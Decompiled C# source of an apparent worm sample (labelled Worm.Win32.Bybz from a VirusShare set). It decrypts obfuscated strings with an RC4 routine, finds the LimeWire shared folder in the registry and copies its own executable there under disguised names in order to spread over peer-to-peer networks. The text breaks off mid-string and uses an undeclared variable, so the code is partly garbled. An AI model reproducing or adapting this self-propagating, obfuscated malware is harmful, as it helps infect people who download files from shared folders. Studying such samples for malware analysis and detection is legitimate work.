// Decompiled with JetBrains decompiler // Type: ajhfsdlhjasnagfgewfwsg.RRRRR // Assembly: Rokan, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 170F4640-026D-46A0-96EF-63F7CE568476 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Worm.Win32.Bybz.dma-ede80954aa264e7f1fb365b2d83e8d211c6a79e95bdca110aeaef84c696635db.exe using Microsoft.VisualBasic; using Microsoft.VisualBasic.CompilerServices; using Microsoft.Win32; using System; using System.Collections; using System.Diagnostics; using System.IO; using System.Runtime.CompilerServices; using System.Text; using System.Threading; using System.Windows.Forms; namespace ajhfsdlhjasnagfgewfwsg { public class RRRRR { [DebuggerNonUserCode] public RRRRR() { } public static string RC4(string message, string password) { int index1 = 0; int index2 = 0; StringBuilder stringBuilder = new StringBuilder(); string empty = string.Empty; int[] numArray1 = new int[257]; int[] numArray2 = new int[257]; int length = password.Length; int location1 = 0; while (location1 <= (int) byte.MaxValue) { char String = password.Substring(location1 % length, 1).ToCharArray()[0]; numArray2[location1] = Strings.Asc(String); numArray1[location1] = location1; Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); } int index3 = 0; int location2 = 0; while (location2 <= (int) byte.MaxValue) { index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256; int num = numArray1[location2]; numArray1[location2] = numArray1[index3]; numArray1[index3] = num; Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1)); } location1 = 1; while (location1 <= message.Length) { index1 = checked (index1 + 1) % 256; index2 = checked (index2 + numArray1[index1]) % 256; int num1 = numArray1[index1]; numArray1[index1] = numArray1[index2]; numArray1[index2] = num1; int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256]; int CharCode = Strings.Asc(message.Substring(checked (location1 - 1), 1).ToCharArray()[0]) ^ num2; stringBuilder.Append(Strings.Chr(CharCode)); Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); } string str = stringBuilder.ToString(); stringBuilder.Length = 0; return str; } public static void msdnfmsnfmdsnfmdsnfmsdnfmdsnfmsdnf() { Registry.LocalMachine.OpenSubKey("HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\LimeWire\\\\", true).GetValue("Shared", (object) 0).ToString(); try { string str1 = RRRRR.RC4("è÷?s\u0004dÆá&\u000E@îÇ\u0016\u0019ûê–óJ\u00B3\u00B2ˆú\u0004‚", "wertf32"); File.Copy(Application.ExecutablePath, Environment.GetEnvironmentVariable(RRRRR.RC4("DŸé5}H±¨¤N\u00B32", "sikan32") + RRRRR.RC4("h\u00BEî3}L¸’", "sikan32") + str1)); string str2 = RRRRR.RC4("fˆç>f]¥¥¤L±2ÇLg\\\u0012&ùò¦\u0010ìqX¢\vr\u001A$", "sikan32"); File.Copy(Application.ExecutablePath, Environment.GetEnvironmentVariable(RRRRR.RC4("DŸé5}H±¨¤N\u00B32", "sikan32") + RRRRR.RC4("h\u00BEî3}L¸’", "sikan32") + str2)); } catch (Exception ex) { ProjectData.SetProjectError(ex); ProjectData.ClearProjectError(); } try { string str3 = RRRRR.RC4("]¯çf]¥¥¤L±2ÇLg\\\u0012&ùò¦\u0010ìqX¢\vr\u001A$", "sikan32"); File.Copy(Application.ExecutablePath, Environment.GetEnvironmentVariable(RRRRR.RC4("DŸé5}H±¨¤N\u00B32", "sikan32") + RRRRR.RC4("h\u00BEî3}L¸’", "sikan32") + str5)); string str6 = RRRRR.RC4("D‚ô